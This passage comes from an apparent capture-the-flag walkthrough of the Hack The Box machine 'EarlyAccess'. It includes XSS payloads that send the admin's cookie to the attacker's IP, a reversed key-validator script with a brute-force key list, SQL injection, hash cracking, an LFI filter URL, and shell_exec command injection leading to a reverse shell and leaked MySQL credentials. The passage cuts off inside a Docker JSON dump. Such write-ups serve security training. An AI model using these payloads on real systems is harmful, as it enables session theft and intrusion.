href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", 